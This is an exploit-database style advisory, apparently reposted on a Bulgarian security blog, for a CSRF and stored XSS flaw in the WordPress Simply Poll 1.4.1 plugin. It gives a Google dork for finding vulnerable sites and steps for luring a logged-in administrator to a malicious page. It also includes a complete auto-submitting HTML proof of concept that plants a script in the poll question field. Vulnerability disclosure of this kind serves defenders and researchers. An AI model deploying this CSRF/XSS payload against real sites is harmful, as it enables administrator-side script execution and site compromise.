WordPress Simply Poll Plugin 1.4.1 – Multiple Vulnerabilities

ganmax
14 години ago
# Exploit Title: WordPress Simply Poll Plugin 1.4.1 CSRF and stored XSS
# Google Dork: inurl:"/wp-content/plugins/simply-poll
# Date: 16.03.2013
# Exploit Author: m3tamantra
# Vendor Homepage: http://wordpress.org/extend/plugins/simply-poll/
# Software Link: http://downloads.wordpress.org/plugin/simply-poll.1.4.1.zip
# Version: 1.4.1
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)

Note: After a email to plugins@wordpress.org, "Simply Poll Plugin" was deleted.

Description:
- The question parameter is vulnerable to XSS
- Simply Poll has an CSRF vulnerability (Polls=>Add New) 

The PoC leads to arbitrary javascript execution in back-end area.

Steps to exploit the Flaw:
- Save PoC code in html file
- Send a link (pointing to the PoC html file) to a logged in admin
- When Admin view the Page he will automatically add a new Poll which exploits an XSS vulnerability in the question parameter
- When the admin views the Polls the javascript Code will execute

Note: this was just an example, it is also possible to remove, reset and edit all Polls.

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Simply Poll CSRF and XSS&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;!-- replace &quot;127.0.0.1:9001/wordpress&quot; --&gt;
&lt;form action=&quot;http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=sp-add&quot; method=&quot;post&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;question&quot; value='Is CSRF+XSS possible?&lt;script&gt;alert(1)&lt;/script&gt;' /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[1][answer]&quot; value=&quot;yes&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[2][answer]&quot; value=&quot;no&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[3][answer]&quot; value=&quot;maybe&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[4][answer]&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[5][answer]&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[4][answer]&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[6][answer]&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[7][answer]&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[8][answer]&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[9][answer]&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;answers[10][answer]&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;polledit&quot; value=&quot;new&quot; /&gt;
&lt;/form&gt;
&lt;script&gt;document.forms[0].submit();&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;



    

    

            
            


        
            
            


        
            
            


        
            
            


        
            
            


        
    
    

            
            


        
            
            


        
            
            


        
            
            


        
            
            


        
    

    

            Rate this post
    

Брой прочитания на тази страница: 1927WordPress Simply Poll Plugin 1.4.1 – Multiple Vulnerabilities


Подобни публикации:

MTP Poll 1.0 – Multiple XSS Vulnerabilities 
Vanilla Forums Poll Plugin 0.9 Stored XSS 
DIY CMS v1.0 Poll Multiple Vulnerabilities